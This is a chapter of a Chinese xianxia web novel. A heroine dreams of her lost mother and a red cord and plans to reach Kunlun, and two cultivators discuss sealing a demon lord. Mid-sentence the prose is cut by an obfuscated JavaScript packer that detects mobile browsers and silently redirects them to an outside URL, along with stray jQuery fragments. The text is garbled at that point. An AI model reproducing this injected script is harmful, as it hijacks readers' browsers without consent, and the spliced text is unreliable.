是夜,苏心楼从梦中惊醒。
冷汗浸透了后背的衣服,她粗喘着气,抬手抹掉额头上细密的汗珠。
那条红绳在她手腕上压出了浅浅的痕迹。秦不聊让她把红绳收好,她索性一直戴在手腕上没有摘下来。
睡前她就将阿昙给的那味药取了煎好,也不知是不是那味药效起了用处,她竟梦到了些模糊不清的片段。
梦中的她约莫只有五六岁,头上扎着两个灵动的双环发髻,手里拿着一块糖画,提着裙摆跑动。
梦中的景象被浓雾掩盖,她只能看见自己小小的身影在努力追赶着什么。
直到她气喘嘘嘘地停下来,过了一会,有人牵起了她的手,温热的大手带着岁月的沧桑,包裹住她娇嫩的五指。
那人蹲下身子,轻轻将她额前细碎的发丝撩到耳后。
她听见自己吸了吸鼻子,稚嫩地开口:“母亲。”
妇人不说话,只是抚摸着她的面庞,好像要将她的模样深深刻进脑海里。苏心楼努力想要看清妇人的脸,可怎么也做不到。
虽看不见妇人,但她觉得那炙热的目光像饱含了无尽的眷恋和哀痛,让苏心楼死寂的心重新跳动。一时之间红了眼,泪如断线的珠帘一滴滴落在母亲宽厚的手背。
妇人在和她告别,她的手一遍遍描摹着苏心楼的脸,像见一个很久未见的人一般依依不舍。
“别走,别留下我…”这次是苏心楼自己的声音。
她忍不住抓住母亲,画面却突然随着雾变得支离破碎,她的衣角从手中彻底消散。
再转眼,她已经是和现在一般的模样,只是更加亭亭玉立,穿着明艳的衣裳,身上带着不谙世事的鲜活。
她眼角还挂着些许泪珠,她眨了眨眼,重新打量着周围,这似乎是一条很长的街。
她站在一个摊子前,面前是一位慈眉善目的大婶正和她说着什么:“姑娘,方才那小伙子给你买了盒莲酥,他那红绳落这了,你快收好。”
红绳…
苏心楼接过来定睛一看,细细的绳子上串着一枚青色的小玉珠,恍惚间脑中一道模糊的身影一闪而过,她抬头急忙问住:“那人是谁?”
开口时嗓子不自觉地哽咽,她眼眶微红,窒闷的情绪无声地蔓延。
才开了口,就听叮一声,眼前的景象再一次扭曲,她只见大婶的嘴开开合合,想仔细分辨却什么也听不清。
不,不要,等等她。
意识从梦里剥离,她陷入了深深的无力感中,记忆像死潭水泛起一点轻微的涟漪,情绪却如潮水般纷涌而至。
她摸了摸脸,眼角微湿,她曾孤独到习以为常,却没想过原来她也是有娘养有娘爱的人。
还有留下红绳的那个人,他是谁?
回忆里的自己似乎与他颇为熟悉,若还能寻到他,恐怕便能知晓自己的过去。
只是她暂且不知他的名字,又或他是否还在这个世上。
究竟是谁伤了她,她灵脉破损又为何能保住一条命。
思来想去睡意全无,她索性起身,在桌上铺开一卷纸,提笔勾画。
凭着这段时日在魔宫里打听来的消息,她在纸上画出九州大陆的地图。
如今她所在的深渊魔域位于九州大陆中间,以魔域为中心,往北是沧州,魔族一带多居于此。魔域往东则是东陵州,苏心楼此前所身处的那片山脉,便在沧州和东陵州交界的恶水关隘。
她在那处醒来,恐怕失忆之前最后待的地方不是沧州便是东陵州了。
而魔域往西则是西域荆州,荆州虽不大,但山灵水秀。往南则是横跨了魔域和东陵州的一整片骊州大地,再从骊州一路南下,便是以昆仑为主的仙盟一派。
一整张画卷被填得满满当当,苏心楼翻了一面,笔尖顿在空中。
她慢慢落笔,写下三个工整的字——卫岚容。
“卫岚容…”她轻声念着,咬着下唇。
名字的最后一笔她落款得用力,墨水在背后洇出一块黑渍。
他是什么样的人?
苏心楼在他的名字上圈了又圈。
人人皆说他是修道疯子,斩情舍爱,心济天下,听闻他降世那年,天赐福泽,为时运黑暗无光的修真界荡开云翳,多少修道之人因此得运,只叫应是天道无私,令他临人间一世。
这样的人,于她而言是望尘莫及,又该从何留在他身边。
苏心楼推开窗户,凉风灌进屋里,她手搭在窗沿探出头,天上的月高仍悬于浩空,如通透的玉盘,与她遥遥相望,只剩二日便是十五望日。
她叹了一口气,秦不聊显然藏着什么想法,并不愿与她多说关于卫岚容的事。就连任务也只是轻飘飘地交代了让她前往昆仑从卫岚容那透露承元镜的消息给他,别的什么法子都没告诉她。
她连该如何见到卫岚容都不知道,还妄想着空手套白狼。
现下她唯独能想到便是先想办法进入昆仑,成为昆仑弟子,才有见到他的可能。
*
昆仑玉门宗位于悬流峰,此处山清水秀,云雾缭绕,汇集天地灵气,仙气氤氲。
冬月来寒,风雪无声,千峰万壑显一片白茫。
此时玉门宗是上下一片繁忙,只有一些个较清闲的外门弟子在洒扫,时不时能见到一批又一批来回的内门弟子们,自然是去清理魔族余党。
仙盟布阵准备越来越充分,而魔族有所忌惮,行动也愈发猖獗,两方频频起战,不少修士折了进去。
比起魔族一派人心惶惶,修士们更多气势充足,自是因为卫岚容闭关出来,为仙盟提供了底气,有这尊大人坐镇,倒没什么可操心的。
“听闻卫兄出关,我带了好酒,特来拜访。”
月光倾洒,一片宁和,一身蓝衣执扇的年轻男人斜靠在积了薄雪的石桌旁,微眯着眼,轻摇着扇子,闲散地开口,手边还放着一壶佳酿,颇有雅致地看着朝他走来的人。
“徐兄有心了,只是我已出关有一阵时日,看来徐兄是忙不见人影。”来者声音如清冽冰泉融雪。
卫岚容踏雪而来,一身月白广袖长袍,步履不急不缓,墨发上落了些雪,宛若谪仙。
徐忘清一听,不满地合上扇子,“啧,好你个卫岚容,多久未见就这么拆我台。”
卫岚容眼中带上几分
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17415078|200750||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
笑意,“徐兄倒是和以前一样。”
徐忘清哂笑,手压下扇柄起身,弯了弯眼,“那自是比不过你清珩仙尊,看样子没白闭关,又破了几层境界。”
“唉,见你离证道在即,我心中百感,若你真飞升,苟富贵勿忘友啊!”徐忘清笑着锤了锤他的手臂。
“徐兄说笑,如今非太平盛世,我定是要完成己任为先。”
卫岚容笑意不增不减,一双如明月疏离清冷的双眼辨不出真实的喜悲,让人看着极不真切。
徐忘清像是自讨无趣,拿起手边的酒坛子凑过去,“怎么说我也是带了诚意的,喏,我从苍凌老头那顺的佳酿,试试,暖胃。”
卫岚容没接,拍了拍徐忘清的肩,淡淡开口:“若是苍凌长老知道了,定要讨你说法。”
“他再吝啬也得赏我个面子,我可是亲眼看着他气得胡子直抖的样子,这几日封魔一事我可没少帮他忙。”徐忘清回到桌旁,自顾自开坛,小酌一杯。
顿时酒香四溢,融于枝上清冷梅香,让人沉醉。徐忘清笑着眯了眯眼,如同一只享受的狐狸。
“封魔一事,多劳你了。”卫岚容也坐下与他对饮。
徐忘清面上多了几分严肃,放下杯子,郑重地问:“说起来,封魔一事你真有把握?那秦不聊可不是个容易拿捏的善茬。”
卫岚容垂下眼,看着手中的酒杯,令人琢磨不出他的心思,缓缓他才开口:“并非全有把握,只是不得不这么做。”
见对面疑惑,他又补充:“秦不聊必然留了后手,此举封印他力量是一重,最关键的是引出其余承元镜的下落。”
徐忘清皱眉,“若是失手了呢?见魔族近日行事,总觉得古怪,我绝不是质疑你的意思,只是此事我确实心中没底啊。”
对面手指轻轻敲击桌面,他小酌一口,再好的酒在卫岚容这都能喝成茶似的。他回:“若是失手,我亲自杀他。”
徐忘清听之一愣,然后失笑,“也是,这不还有你。不过听你这么说,拿到秦魔头手里的承元镜看来有戏了?”
卫岚容缓声:“没那么容易,不过其余的散落的承元镜碎片的线索,恐怕错不得这次机会。”
“也行,一切依你,得亏那承元镜没全落在秦不聊那,否则我真不敢想,何况那承元镜本来就是你师父的东西…”徐忘清摸着下巴思考,皱着的眉心缓了些。
卫岚容没有点头,一双淡眸看向远处,只是公事公办地回:“承元镜乃天道之物,关乎天下安危,秦不聊也在找剩下的碎片,此事要早些解决。”
“说来,你身上的蛊毒可找到解法了?”徐忘清坐直了身子,关切道。
“还未寻到,不过并不会影响封魔一事。”
“哈,我又不是指这个…你说你师父和你还真是如出一辙的疯,天下竟有狠心为自己徒儿种蛊之人,这道是非证不可么…”
“都过去了。”杯中倒映出卫岚容无波无澜的双眼。
“呵,是我多嘴,你心里有数就好。”
“算算日子,封魔一日我正好有事在身,怕是不能与你们一道同行了。”
“无碍,徐兄且忙。”